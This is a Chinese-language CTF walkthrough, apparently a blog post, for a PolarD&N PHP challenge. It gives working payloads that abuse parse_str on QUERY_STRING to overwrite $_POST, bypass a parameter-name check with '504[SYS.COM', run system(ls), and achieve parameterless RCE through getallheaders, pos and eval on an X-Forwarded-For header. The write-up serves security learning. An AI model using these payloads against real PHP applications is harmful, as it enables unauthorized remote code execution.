PHP是世界上最好的语言-PolarD&N XXF无参数RCE QUERY_STRING 特性

这个靶场我之前看到过打广告,而且感觉比较新 来坐坐

  

这里还是

@parse_str($_SERVER['QUERY_STRING']);

这里存在特性

?_POST[flag]=11111

通过extract($_POST);


会变为


$flag = 11111

所以第一个flag我们直接绕过了

GET 传递?_POST[flag1]=8gen1&_POST[flag2]=8gen1

然后需要绕过

    if(isset($_POST['504_SYS.COM'])){ 

通过 _ 就可以思考到非法参数了

504[SYS.COM=1

然后我们就可以执行命令了

sys=system(ls);

PHP是世界上最好的语言-PolarD&N XXF无参数RCE QUERY_STRING 特性_第1张图片

payload

?_POST[flag1]=8gen1&_POST[flag2]=8gen1


504[SYS.COM=1&sys=system(ls);

但是我们无法直接获取到flag 所以需要无参数rce 因为过滤了 引号

无参数RCE绕过的详细总结(六种方法)_ctf rce绕过-CSDN博客

这里的方法都可以使用

这里使用一个XXF执行命令的

首先我们逆向打印请求头

504[SYS.COM=1&sys=print_r(array_reverse(getallheaders()));

PHP是世界上最好的语言-PolarD&N XXF无参数RCE QUERY_STRING 特性_第2张图片

 然后我们通过 pos 和eval 执行命令

pos 会输出当前数组的值 第一个是 xxf 就是ip 然后执行命令 我们将命令拼接即可

PHP是世界上最好的语言-PolarD&N XXF无参数RCE QUERY_STRING 特性_第3张图片

这里还需要XXF后面的内容注释掉 不然无法执行

你可能感兴趣的:(PolarD&N,php,android,开发语言)